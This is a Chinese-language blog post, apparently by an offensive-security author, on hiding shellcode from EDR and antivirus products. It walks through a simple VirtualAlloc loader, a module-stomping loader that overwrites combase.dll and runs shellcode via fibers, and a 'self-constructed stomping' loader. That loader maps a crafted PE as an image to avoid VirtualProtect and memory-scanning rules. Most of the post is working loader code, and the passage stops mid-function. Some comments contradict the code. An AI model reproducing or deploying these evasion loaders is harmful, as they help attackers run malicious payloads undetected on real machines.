· 背景知识

当代 EDR / EPP 目前都依赖调用栈来查杀SHELLCODE,HOOK你内存函数,扫你内存特征,扫特征,然后再结合你这个程序联网的特征,直接就可以判定你是SHELLCODE加载了

那你不好奇

为什么可以通过调用栈查杀SHELLCODE吗?

· 一个最简单的加载器

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "subsystem:\"Windwos\" /entry:\"mainCRTStartup\ " ")

int main(){

  char shellcode[]= "SHELLCODE";
  void* exec=VirtualAlloc(0,sizeof(shellcode), MEM_COMMIT, PAGE_EXXCUTE_READWRITE);
  memcpy(exec,shellcode,sizeof (shellcode));
  ((void(*)())exec)();
  
}

· 查杀要点

我们要查杀这个SHELLCODE,重点就是这个EXECUTE。

你的VAD变化了,反作弊也经常这么查。

调用栈回溯->查你栈帧->如果栈帧在UNBACKED MEMORY之中,那八九不离十是个SHELLCODE或者JIT代码

以下是从鸭鸭的Sleep Duck Eye中摘取的代码

auto SimpleCheckIn2020(HANDLE hProcess, uint64_t Address) -> bool {
    MEMORY_BASIC_INFORMATION mbi = {0};
    SIZE_T ReadNum = 0;
    bool detect = false;
    do {
        if (VirtualQueryEx(hProcess, (PVOID)Address, &mbi, sizeof(mbi)) ==
            false) {
            break;
        }
        if (mbi.Type == MEM_IMAGE) {
            break;
        }
        bool CheckExcuteFlag = mbi.AllocationProtect & PAGE_EXECUTE ||
                               mbi.AllocationProtect & PAGE_EXECUTE_READ ||
                               mbi.AllocationProtect & PAGE_EXECUTE_READWRITE ||
                               mbi.AllocationProtect & PAGE_EXECUTE_WRITECOPY;
        if (CheckExcuteFlag) {
            printf("rwx memory detect-> \n\t");
            PrintProcessInfoFromHandle(hProcess);
            detect = true;
            char PEStack[0x2];
            if (ReadProcessMemory(hProcess, mbi.BaseAddress, PEStack,
                                  sizeof(PEStack), &ReadNum)) {
                if (PEStack[0] == 'M' && PEStack[1] == 'Z') {
                    printf("rwx memory has pe module-> \n\t");
                    PrintProcessInfoFromHandle(hProcess);
                }
            }
        } else if (mbi.AllocationProtect & PAGE_READONLY ||
                   mbi.AllocationProtect & PAGE_READWRITE ||
                   mbi.AllocationProtect & PAGE_NOACCESS) {
            printf("no-excute-page detect at %p \n\t", Address);
            PrintProcessInfoFromHandle(hProcess);
            detect = true;
        }
    } while (false);
    return detect;
}

他做了什么,很简单,打开进程,遍历内存块,判是不是IMAGE,是IMAGE就跳过。

然后判断内存属性是不是PAGE_EXECUTE PAGE_EXECUTE_READ PAGE_EXECUTE_READWRITE PAGE_EXECUTE_WRITECOPY其中一个

如果是:那就说明这玩意是UNBACKED MEMORY啊,那你很可疑了

这种直接VirtualAlloc UNBACKED MEMORY然后加载SHELLCODE的方式在NGAV眼里就和裸奔一样,通通被看光。

一下就被揪出来了。

这时候聪明的你,肯定会上网查资料了,这时候你又能查到一个技术叫

MODULE STOMPING(模块践踏)

· MODULE STOMPING原理

· 代码分析

引用项目代码:模块践踏GITHUB

(其实看到他的测试还蛮无语的,其他的不知道,你测个360干嘛,360可不查SHELLCODE)

咳咳...回归正题。

BOOL LoadDllFile(IN LPCSTR szDllFilePath, OUT HMODULE* phModule, OUT PULONG_PTR puEntryPnt)
{
	HANDLE hFile = INVALID_HANDLE_VALUE;
	LPVOID pFileBuffer = NULL;
	LPVOID pImageBase = NULL;
	BOOL   bRet = FALSE;
	DWORD  dwFileSize = 0;
	DWORD  dwBytesRead = 0;

	PIMAGE_DOS_HEADER pDosHeader = NULL;
	PIMAGE_NT_HEADERS pNtHeaders = NULL;
	PIMAGE_SECTION_HEADER pSectionHeader = NULL;

	hFile = CreateFileA(szDllFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		goto END;
	}

	dwFileSize = GetFileSize(hFile, NULL);
	if (dwFileSize == INVALID_FILE_SIZE)
	{
		goto END;
	}

	pFileBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (!pFileBuffer)
	{
		goto END;
	}

	if (!ReadFile(hFile, pFileBuffer, dwFileSize, &dwBytesRead, NULL) || dwBytesRead != dwFileSize)
	{
		goto END;
	}

	pDosHeader = (PIMAGE_DOS_HEADER)pFileBuffer;
	if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
	{
		goto END;
	}

	pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pFileBuffer + pDosHeader->e_lfanew);
	if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
	{
		goto END;
	}

	pImageBase = VirtualAlloc(NULL, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (!pImageBase)
	{
		goto END;
	}

	memcpy(pImageBase, pFileBuffer, pNtHeaders->OptionalHeader.SizeOfHeaders);

	pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
	for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
	{
		memcpy((BYTE*)pImageBase + pSectionHeader[i].VirtualAddress,
			(BYTE*)pFileBuffer + pSectionHeader[i].PointerToRawData,
			pSectionHeader[i].SizeOfRawData);
	}

	if (pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size)
	{
		PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)((BYTE*)pImageBase +
			pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);

		ULONG_PTR delta = (ULONG_PTR)pImageBase - pNtHeaders->OptionalHeader.ImageBase;


		while (pReloc->SizeOfBlock)
		{
			WORD* pRelocData = (WORD*)((BYTE*)pReloc + sizeof(IMAGE_BASE_RELOCATION));
			DWORD count = (pReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);

			for (DWORD i = 0; i < count; i++)
			{
				if (pRelocData[i] >> 12 == IMAGE_REL_BASED_HIGHLOW)
				{
					ULONG_PTR* pPatch = (ULONG_PTR*)((BYTE*)pImageBase + pReloc->VirtualAddress + (pRelocData[i] & 0xFFF));
					*pPatch += delta;
				}
			}

			pReloc = (PIMAGE_BASE_RELOCATION)((BYTE*)pReloc + pReloc->SizeOfBlock);
		}
	}

	if (pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size)
	{
		PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)pImageBase +
			pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

		while (pImportDesc->Name)
		{
			LPCSTR pszDllName = (LPCSTR)((BYTE*)pImageBase + pImportDesc->Name);
			HMODULE hDll = LoadLibraryA(pszDllName);

			if (hDll)
			{
				PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((BYTE*)pImageBase + pImportDesc->FirstThunk);

				if (pImportDesc->OriginalFirstThunk)
				{
					PIMAGE_THUNK_DATA pOrigThunk = (PIMAGE_THUNK_DATA)((BYTE*)pImageBase + pImportDesc->OriginalFirstThunk);

					while (pOrigThunk->u1.AddressOfData)
					{
						if (pOrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
						{
							pThunk->u1.Function = (ULONG_PTR)GetProcAddress(hDll, (LPCSTR)(pOrigThunk->u1.Ordinal & 0xFFFF));
						}
						else
						{
							PIMAGE_IMPORT_BY_NAME pImport = (PIMAGE_IMPORT_BY_NAME)((BYTE*)pImageBase + pOrigThunk->u1.AddressOfData);
							pThunk->u1.Function = (ULONG_PTR)GetProcAddress(hDll, (LPCSTR)pImport->Name);
						}

						pOrigThunk++;
						pThunk++;
					}
				}
			}

			pImportDesc++;
		}
	}

	DWORD oldProtect;
	for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
	{
		DWORD protect = 0;
		DWORD characteristics = pSectionHeader[i].Characteristics;

		if (characteristics & IMAGE_SCN_MEM_EXECUTE)
		{
			if (characteristics & IMAGE_SCN_MEM_WRITE)
				protect = PAGE_EXECUTE_READWRITE;
			else if (characteristics & IMAGE_SCN_MEM_READ)
				protect = PAGE_EXECUTE_READ;
			else
				protect = PAGE_EXECUTE;
		}
		else
		{
			if (characteristics & IMAGE_SCN_MEM_WRITE)
				protect = PAGE_READWRITE;
			else if (characteristics & IMAGE_SCN_MEM_READ)
				protect = PAGE_READONLY;
			else
				protect = PAGE_NOACCESS;
		}

		if (!VirtualProtect((BYTE*)pImageBase + pSectionHeader[i].VirtualAddress,
			pSectionHeader[i].Misc.VirtualSize,
			protect,
			&oldProtect))
		{
			goto END;
		}
	}

	*phModule = (HMODULE)pImageBase;
	*puEntryPnt = (ULONG_PTR)pImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint;
	bRet = TRUE;

END:
	if (hFile != INVALID_HANDLE_VALUE)
		CloseHandle(hFile);

	return bRet;
}
BOOL VerifyInjection(IN ULONG_PTR uSacrificialModule, IN ULONG_PTR uEntryPoint, IN SIZE_T sPayloadSize)
{
	PIMAGE_NT_HEADERS		pImgNtHdrs = NULL;
	PIMAGE_SECTION_HEADER	pImgSecHdr = NULL;
	ULONG_PTR				uTextAddress = 0;
	SIZE_T					sTextSize = 0;
	SIZE_T					sTextSizeLeft = 0;

	pImgNtHdrs = (PIMAGE_NT_HEADERS)(uSacrificialModule + ((PIMAGE_DOS_HEADER)uSacrificialModule)->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return FALSE;

	pImgSecHdr = IMAGE_FIRST_SECTION(pImgNtHdrs);
	for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++)
	{

		if ((*(ULONG*)pImgSecHdr[i].Name | 0x20202020) == 'xet.')
		{
			uTextAddress = uSacrificialModule + pImgSecHdr[i].VirtualAddress;
			sTextSize = pImgSecHdr[i].Misc.VirtualSize;
			break;
		}
	}

	if (!uTextAddress || !sTextSize)
		return FALSE;

	sTextSizeLeft = sTextSize - (uEntryPoint - uTextAddress);
#ifdef _DEBUG
	printf("[i] Payload Size: %d Byte\n", (int)sPayloadSize);
	printf("[i] Available Memory (Starting From The EP): %d Byte\n", (int)sTextSizeLeft);
#endif // _DEBUG

	if (sTextSizeLeft >= sPayloadSize)
		return TRUE;

	return FALSE;
}

BOOL ModuleStomp(IN PBYTE pBuffer, IN SIZE_T sBufferSize)
{
	NTSTATUS	STATUS = STATUS_SUCCESS;
	LPVOID      mainFiber = NULL;
	HMODULE		hSacrificialModule = NULL;
	ULONG_PTR	uEntryPoint = 0;
	HANDLE		hThread = NULL;
	DWORD		dwOldProtection = 0; //combase.dll
	CHAR		szSacrificialDll[] = { 'C', ':', '\\',
					'W', 'i', 'n', 'd', 'o', 'w',
					's', '\\',
					'S', 'y', 's', 't', 'e', 'm', '3', '2',
					'\\',
					'c', 'o', 'm', 'b', 'a', 's', 'e', '.', 'd', 'l', 'l',
					'\0' };

	if (!LoadDllFile(szSacrificialDll, &hSacrificialModule, &uEntryPoint))
		return FALSE;

#ifdef _DEBUG
	printf("[*] %ws Loaded Successfully At: 0x%p \n", szSacrificialDll, (PVOID)hSacrificialModule);
	printf("[i] Entry Point: 0x%p \n", (PVOID)uEntryPoint);
#endif // DEBUG

	if (!VerifyInjection((ULONG_PTR)hSacrificialModule, uEntryPoint, sBufferSize))
		return FALSE;

	if (!VirtualProtect((LPVOID)uEntryPoint, sBufferSize, PAGE_READWRITE, &dwOldProtection))
		return FALSE;

	memcpy((void*)uEntryPoint, pBuffer, sBufferSize);

	if (!IsThreadAFiber()) {
		mainFiber = ConvertThreadToFiber(NULL);
	}
	else {
		mainFiber = GetCurrentFiber();
	}

	if (mainFiber) {
		if (!VirtualProtect((LPVOID)uEntryPoint, sBufferSize, dwOldProtection, &dwOldProtection))
		{
			return FALSE;
		}
		LPVOID beaconFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)uEntryPoint, NULL);
		if (beaconFiber) {
			SwitchToFiber(beaconFiber);
			// control returns here only if shellcode returns (rare)
			DeleteFiber(beaconFiber);
		}
	}

	return TRUE;
}

流程如下:

  1. 手动映射一份合法系统 DLL(C:\Windows\System32\combase.dll)到内存(不走 LoadLibrary,避免 API 监控 / 模块列表记录)

  2. 校验该 DLL 的 .text 段从入口点开始剩余空间是否装得下 payload

  3. 把 shellcode 覆写进 .text 段入口点(Module Stomping)

  4. 用 Fiber 切过去执行,规避 CreateThread / NtCreateThreadEx 这类线程创建回调检测。

· 检测面

观察现在EDR/EPP的主流检测点(两点):

1.系统DLL的内存和磁盘结果对不上


2.VirtualProtect到系统DLL里面了,而且还是空处或者覆盖原有内容,那很有可能就是HOOK或者加载器,扫扫特征就能区分出来,那你变化了两次,而且变化的还是同一地址,还变回了EXECUTE,那肯定可疑啊

· 反思

为啥这个东西现在各大厂商都在查,原因:

1.大家惯性思维的查UNBACKED MEMORY内存失效了,实际上就是需要加班了,不能依赖已有的规则直接抗了

2.用的系统DLL,一时间很多人没啥思路可以查这个。

那么我们针对以上特点,能不能改进一下这个技术呢

注意到,现在大家还都是使用的VirtualProtect,因为属性问题,必须得改一下才能注SHELLCODE进去,再改回去才能执行。

那我们退而求其次,我们不用系统DLL不就行了,我们自己构造一个PE文件,PE结构都是我们控制的,我把这个技术叫做Self-constructed Stomping(自构建践踏)

· Self-constructed Stomping技术详解

优点:不需要用VirtualProtect改内存,内存区域可以自己控制
缺点:用的是自己的动态构造的DLL,而非系统DLL,但是好消息是,DLL几乎什么都不需要有,构造的好不会被特征杀。

· 思路

造一个最小 x64 PE:.text 原始数据全零,节表声明 EXECUTE|READ|WRITE,AddressOfEntryPoint = .text RVA
          |
          ↓
写入 %TEMP% 临时文件
          |
          ↓
用 GENERIC_READ|GENERIC_EXECUTE 重开文件
          |
          ↓
NtCreateSection(SEC_IMAGE, hFile) → CloseHandle(hFile)
          |
          ↓
NtMapViewOfSection → DeleteFileW 临时文件
          |
          ↓
memcpy 把 shellcode 写进 base + .text RVA
          |
          ↓
直接 call 入口(SEH 兜底)
          |
          ↓
NtUnmapViewOfSection + NtClose

· 为什么这样可以绕过

1.目前NGAV的大多数规则都是这样:

你VirtualProtect两次->匹配DLL是否为系统DLL->检查CRC或者查内存

注意这一步是检查是否是系统DLL,很少有NGAV是全部DLL都检查的,占用太大了(除了某支持自定义规则的S1)

2.没有用VirtualProtect明显让NGAV少了检查的触发点(当然也新增了一些触发点),但至少这是比较新的,还没新增触发点,哈哈...

· 代码以及详解

以下代码均是验证级别代码,也就是暂时确实可以绕过,但是要绕过更多的监测点,还要自己补:

 static bool BuildHostPe(size_t shellcodeSize, uintptr_t imageBase, std::vector<uint8_t>& pe) {
     if (shellcodeSize == 0 || shellcodeSize > MAXDWORD) {
         return false;
     }

     const DWORD scRaw = AlignUp(static_cast<DWORD>(shellcodeSize), kFileAlignment);
     const DWORD scVirt = AlignUp(static_cast<DWORD>(shellcodeSize), kSectionAlignment);
     const DWORD fixRaw = kFileAlignment;    // 前四节各占一个文件对齐

     // 文件布局
     const DWORD textRawOff = kFileAlignment;              // 0x200
     const DWORD rdataRawOff = textRawOff + fixRaw;        // 0x400
     const DWORD dataRawOff = rdataRawOff + fixRaw;        // 0x600
     const DWORD rdat2RawOff = dataRawOff + fixRaw;        // 0x800
     const DWORD scRawOff = rdat2RawOff + fixRaw;        // 0xA00
     pe.assign(static_cast<size_t>(scRawOff) + scRaw, 0);   // .sc 原始数据全零,shellcode 不落盘

     // DOS header
     IMAGE_DOS_HEADER dos = {};
     dos.e_magic = IMAGE_DOS_SIGNATURE;
     dos.e_lfanew = sizeof(IMAGE_DOS_HEADER);
     std::memcpy(pe.data(), &dos, sizeof(dos));

     const size_t ntOffset = sizeof(IMAGE_DOS_HEADER);
     std::memcpy(pe.data() + ntOffset, "PE\0\0", 4);

     // File header
     IMAGE_FILE_HEADER fh = {};
     fh.Machine = IMAGE_FILE_MACHINE_AMD64;
     fh.NumberOfSections = 5;                         // ★ 五节
     fh.SizeOfOptionalHeader = sizeof(IMAGE_OPTIONAL_HEADER64);
     fh.Characteristics = IMAGE_FILE_EXECUTABLE_IMAGE | IMAGE_FILE_LARGE_ADDRESS_AWARE;
     std::memcpy(pe.data() + ntOffset + 4, &fh, sizeof(fh));
     IMAGE_OPTIONAL_HEADER64 oh = {};
     oh.Magic = IMAGE_NT_OPTIONAL_HDR64_MAGIC;
     oh.MajorOperatingSystemVersion = 6;
     oh.MinorOperatingSystemVersion = 0;
     oh.MajorSubsystemVersion = 6;
     oh.MinorSubsystemVersion = 0;
     oh.SizeOfCode = kTextSize;
     oh.BaseOfCode = kTextRva;          // ← 之后直接是 ImageBase
     oh.ImageBase = static_cast<ULONGLONG>(imageBase);
     oh.SectionAlignment = kSectionAlignment;
     oh.FileAlignment = kFileAlignment;
     oh.SizeOfImage = AlignUp(kScRva + scVirt, kSectionAlignment);
     oh.SizeOfHeaders = kSizeOfHeaders;
     oh.Subsystem = IMAGE_SUBSYSTEM_WINDOWS_CUI;
     oh.SizeOfStackReserve = 0x100000;
     oh.SizeOfStackCommit = 0x1000;
     oh.SizeOfHeapReserve = 0x100000;
     oh.SizeOfHeapCommit = 0x1000;
     oh.NumberOfRvaAndSizes = IMAGE_NUMBEROF_DIRECTORY_ENTRIES;
     oh.AddressOfEntryPoint = kScRva;
     std::memcpy(pe.data() + ntOffset + 4 + sizeof(fh), &oh, sizeof(oh));

     IMAGE_SECTION_HEADER sh[5] = {};

     // .text —— EXECUTE|READ → PAGE_EXECUTE_READ
     std::memcpy(sh[0].Name, ".text", 5);
     sh[0].Misc.VirtualSize = kTextSize;
     sh[0].VirtualAddress = kTextRva;
     sh[0].SizeOfRawData = fixRaw;
     sh[0].PointerToRawData = textRawOff;
     sh[0].Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ;

     // .rdata —— READ → PAGE_READONLY
     std::memcpy(sh[1].Name, ".rdata", 6);
     sh[1].Misc.VirtualSize = kRdataSize;
     sh[1].VirtualAddress = kRdataRva;
     sh[1].SizeOfRawData = fixRaw;
     sh[1].PointerToRawData = rdataRawOff;
     sh[1].Characteristics = IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ;

     // .data —— READ|WRITE → PAGE_READWRITE
     std::memcpy(sh[2].Name, ".data", 5);
     sh[2].Misc.VirtualSize = kDataSize;
     sh[2].VirtualAddress = kDataRva;
     sh[2].SizeOfRawData = fixRaw;
     sh[2].PointerToRawData = dataRawOff;
     sh[2].Characteristics = IMAGE_SCN_CNT_INITIALIZED_DATA |
         IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;

     // .rdat2 —— READ → PAGE_READONLY
     std::memcpy(sh[3].Name, ".rdat2", 6);
     sh[3].Misc.VirtualSize = kRdat2Size;
     sh[3].VirtualAddress = kRdat2Rva;
     sh[3].SizeOfRawData = fixRaw;
     sh[3].PointerToRawData = rdat2RawOff;
     sh[3].Characteristics = IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ;

     // .sc —— EXECUTE|WRITE
     std::memcpy(sh[4].Name, ".sc", 3);
     sh[4].Misc.VirtualSize = static_cast<DWORD>(shellcodeSize);
     sh[4].VirtualAddress = kScRva;
     sh[4].SizeOfRawData = scRaw;
     sh[4].PointerToRawData = scRawOff;
     sh[4].Characteristics = IMAGE_SCN_CNT_CODE |
         IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE;

     std::memcpy(pe.data() + ntOffset + 4 + sizeof(fh) + sizeof(oh), sh, sizeof(sh));

     return true;
 }

传入一个ShellcodeSize,给.text节留下足够大的空间,此时创建的.text节是空的,因为到时候要注SHELLCODE,然后就创建好了一个自构建的最小内存PE。
这就是核心了。

接着要做的事情就很简单了:

在我的内存中寻找一块足够大的内存用来存放我的这个最小PE,以便之后的映射->

将最小PE写入盘中->NtCreateSection+NtMapViewOfSection进行映射->映射完之后文件就可以删掉了->移动/删除文件(运行中的文件可以移动,虽然FileObject是一样的,但是很多EDR是直接根据文件路径来查的)(这一步是变体可以加的,这里仅验证技术,不展开变体了)->接着复制SHELLCODE到IMAGE内存中

        void* codeSection = reinterpret_cast<void*>(
            reinterpret_cast<uintptr_t>(imageBaseMapped) + kShellcodeRva);
        std::memcpy(codeSection, ShellcodeInfo, Size);
        FlushInstructionCache(GetCurrentProcess(), codeSection, Size);

->最后直接RUN

· 内存属性分析

正常的DLL:

恶意的最小PE:

眼尖的人可以看出,恶意最小PE有一个IMAGE内存的PAGE_EXECUTE_READWRITE。

这就是特征,但是仅限于这个最小验证的特征

· 完整代码

// In-memory IMAGE-backed shellcode loader.
// Flow:
//   1. Build a minimal x64 PE image whose .text section is EMPTY (no shellcode
//      bytes in the file at all).
//   2. Write the host PE to a transient temp file, reopen with execute access.
//   3. NtCreateSection(SEC_IMAGE) -> close the file handle (release the file).
//   4. NtMapViewOfSection -> delete the temp file, copy ntdll.dll sections over
//      the writable part of the module (header pages stay as the host PE).
//   5. Write the shellcode into the mapped .text section in memory.
//   6. Execute the entry directly.
//
// No VirtualProtect/NtProtectVirtualMemory is ever called. For SEC_IMAGE
// mappings every page's protection is derived from the PE section table, so
// declaring .text as EXECUTE|READ|WRITE makes it PAGE_EXECUTE_WRITECOPY at
// map time: writable for the shellcode AND executable for the entry point.
// Protection changes on IMAGE-backed executable memory are reported by kernel
// ETW as critical-memory-corruption (the alert this loader must avoid), so the
// loader performs none - not on .text and not on the header pages (which are
// read-only by construction).
// VirtualQuery reports Type == MEM_IMAGE (same as a real module), without
// stomping an existing module and without LoadLibrary.

#include <Windows.h>
#include <cstddef>
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <string>
#include <vector>

#include "ntdll.h"
#include "rawData.h"

namespace beacon {

    namespace {

        constexpr DWORD kSectionAlignment = 0x1000;
        constexpr DWORD kFileAlignment = 0x0200;
        constexpr DWORD kSizeOfHeaders = 0x1000;

        constexpr DWORD kTextRva = 0x1000;
        constexpr DWORD kTextSize = 0x1000;
        constexpr DWORD kRdataRva = 0x2000;
        constexpr DWORD kRdataSize = 0x1000;
        constexpr DWORD kDataRva = 0x3000;
        constexpr DWORD kDataSize = 0x1000;
        constexpr DWORD kRdat2Rva = 0x4000;
        constexpr DWORD kRdat2Size = 0x1000;
        constexpr DWORD kScRva = 0x5000;   // shellcode 节,同时作为入口点

        constexpr DWORD kSecImage = 0x01000000;   // SEC_IMAGE
        constexpr DWORD kViewUnmap = 2;           // SECTION_INHERIT::ViewUnmap

        static DWORD AlignUp(DWORD value, DWORD alignment) {
            if (alignment == 0) {
                return value;
            }
            const DWORD rem = value % alignment;
            return rem == 0 ? value : value + (alignment - rem);
        }

        static uintptr_t AlignUpPtr(uintptr_t value, uintptr_t alignment) {
            if (alignment == 0) {
                return value;
            }
            const uintptr_t rem = value % alignment;
            return rem == 0 ? value : value + (alignment - rem);
        }

        // ============================================================================
        // SEH-guarded call helper. Kept free of C++ objects so __try is legal
        // (MSVC C2712). Returns 0 when the entry returned normally, otherwise the
        // exception code. Mirrors the __try/__except block of loader.cpp.
        // ============================================================================
        static DWORD RunShellcode(void* entry) {
#ifdef _MSC_VER
            DWORD status = 0;
            __try {
                reinterpret_cast<void(*)()>(entry)();
            }
            __except (EXCEPTION_EXECUTE_HANDLER) {
                status = GetExceptionCode();
            }
            return status;
#else
            // MinGW/GCC: direct call (no SEH available)
            reinterpret_cast<void(*)()>(entry)();
            return 0;
#endif
        }

        static void LogNtStatus(const char* stage, NTSTATUS status) {
            char buf[192];
            snprintf(buf, sizeof(buf), "shellcode_x load failed: %s status=0x%08lX",
                stage, static_cast<unsigned long>(status));
        }

        // ============================================================================
        // Find a free 64KB-aligned region large enough for the image. The crafted
        // PE has no relocation directory, so its ImageBase must be a free address.
        // ============================================================================
        static uintptr_t FindFreeImageBase(size_t imageSize) {
            const uintptr_t allocGran = 0x10000;
            const size_t need = AlignUpPtr(imageSize, allocGran);
            const uintptr_t maxAddr = 0x00007FFFFFFF0000ULL;
            uintptr_t addr = allocGran;
            while (addr < maxAddr) {
                MEMORY_BASIC_INFORMATION mbi = {};
                if (VirtualQuery(reinterpret_cast<LPCVOID>(addr), &mbi, sizeof(mbi)) == 0) {
                    addr += allocGran;
                    continue;
                }
                const uintptr_t regionEnd =
                    reinterpret_cast<uintptr_t>(mbi.BaseAddress) + mbi.RegionSize;
                if (mbi.State == MEM_FREE) {
                    uintptr_t start = AlignUpPtr(reinterpret_cast<uintptr_t>(mbi.BaseAddress), allocGran);
                    if (start < addr) {
                        start = addr;
                    }
                    if (start + need <= regionEnd) {
                        return start;
                    }
                }
                addr = AlignUpPtr(regionEnd, allocGran);
            }
            return 0;
        }

        // ============================================================================
        // Build a minimal x64 PE image with an EMPTY .text section sized to fit
        // the shellcode. The shellcode bytes are NOT part of the file; they are
        // written into the mapped .text after the image is mapped.
        // ============================================================================
        static bool BuildHostPe(size_t shellcodeSize, uintptr_t imageBase, std::vector<uint8_t>& pe) {
            if (shellcodeSize == 0 || shellcodeSize > MAXDWORD) {
                return false;
            }

            const DWORD scRaw = AlignUp(static_cast<DWORD>(shellcodeSize), kFileAlignment);
            const DWORD scVirt = AlignUp(static_cast<DWORD>(shellcodeSize), kSectionAlignment);
            const DWORD fixRaw = kFileAlignment;    // 前四节各占一个文件对齐

            // 文件布局
            const DWORD textRawOff = kFileAlignment;              // 0x200
            const DWORD rdataRawOff = textRawOff + fixRaw;        // 0x400
            const DWORD dataRawOff = rdataRawOff + fixRaw;        // 0x600
            const DWORD rdat2RawOff = dataRawOff + fixRaw;        // 0x800
            const DWORD scRawOff = rdat2RawOff + fixRaw;        // 0xA00
            pe.assign(static_cast<size_t>(scRawOff) + scRaw, 0);   // .sc 原始数据全零,shellcode 不落盘

            // DOS header
            IMAGE_DOS_HEADER dos = {};
            dos.e_magic = IMAGE_DOS_SIGNATURE;
            dos.e_lfanew = sizeof(IMAGE_DOS_HEADER);
            std::memcpy(pe.data(), &dos, sizeof(dos));

            const size_t ntOffset = sizeof(IMAGE_DOS_HEADER);
            std::memcpy(pe.data() + ntOffset, "PE\0\0", 4);

            // File header
            IMAGE_FILE_HEADER fh = {};
            fh.Machine = IMAGE_FILE_MACHINE_AMD64;
            fh.NumberOfSections = 5;                         // ★ 五节
            fh.SizeOfOptionalHeader = sizeof(IMAGE_OPTIONAL_HEADER64);
            fh.Characteristics = IMAGE_FILE_EXECUTABLE_IMAGE | IMAGE_FILE_LARGE_ADDRESS_AWARE;
            std::memcpy(pe.data() + ntOffset + 4, &fh, sizeof(fh));
            IMAGE_OPTIONAL_HEADER64 oh = {};
            oh.Magic = IMAGE_NT_OPTIONAL_HDR64_MAGIC;
            oh.MajorOperatingSystemVersion = 6;
            oh.MinorOperatingSystemVersion = 0;
            oh.MajorSubsystemVersion = 6;
            oh.MinorSubsystemVersion = 0;
            oh.SizeOfCode = kTextSize;
            oh.BaseOfCode = kTextRva;          // ← 之后直接是 ImageBase
            oh.ImageBase = static_cast<ULONGLONG>(imageBase);
            oh.SectionAlignment = kSectionAlignment;
            oh.FileAlignment = kFileAlignment;
            oh.SizeOfImage = AlignUp(kScRva + scVirt, kSectionAlignment);
            oh.SizeOfHeaders = kSizeOfHeaders;
            oh.Subsystem = IMAGE_SUBSYSTEM_WINDOWS_CUI;
            oh.SizeOfStackReserve = 0x100000;
            oh.SizeOfStackCommit = 0x1000;
            oh.SizeOfHeapReserve = 0x100000;
            oh.SizeOfHeapCommit = 0x1000;
            oh.NumberOfRvaAndSizes = IMAGE_NUMBEROF_DIRECTORY_ENTRIES;
            oh.AddressOfEntryPoint = kScRva;
            std::memcpy(pe.data() + ntOffset + 4 + sizeof(fh), &oh, sizeof(oh));

            IMAGE_SECTION_HEADER sh[5] = {};

            // .text —— EXECUTE|READ → PAGE_EXECUTE_READ
            std::memcpy(sh[0].Name, ".text", 5);
            sh[0].Misc.VirtualSize = kTextSize;
            sh[0].VirtualAddress = kTextRva;
            sh[0].SizeOfRawData = fixRaw;
            sh[0].PointerToRawData = textRawOff;
            sh[0].Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ;

            // .rdata —— READ → PAGE_READONLY
            std::memcpy(sh[1].Name, ".rdata", 6);
            sh[1].Misc.VirtualSize = kRdataSize;
            sh[1].VirtualAddress = kRdataRva;
            sh[1].SizeOfRawData = fixRaw;
            sh[1].PointerToRawData = rdataRawOff;
            sh[1].Characteristics = IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ;

            // .data —— READ|WRITE → PAGE_READWRITE
            std::memcpy(sh[2].Name, ".data", 5);
            sh[2].Misc.VirtualSize = kDataSize;
            sh[2].VirtualAddress = kDataRva;
            sh[2].SizeOfRawData = fixRaw;
            sh[2].PointerToRawData = dataRawOff;
            sh[2].Characteristics = IMAGE_SCN_CNT_INITIALIZED_DATA |
                IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;

            // .rdat2 —— READ → PAGE_READONLY
            std::memcpy(sh[3].Name, ".rdat2", 6);
            sh[3].Misc.VirtualSize = kRdat2Size;
            sh[3].VirtualAddress = kRdat2Rva;
            sh[3].SizeOfRawData = fixRaw;
            sh[3].PointerToRawData = rdat2RawOff;
            sh[3].Characteristics = IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ;

            // .sc —— EXECUTE|WRITE
            std::memcpy(sh[4].Name, ".sc", 3);
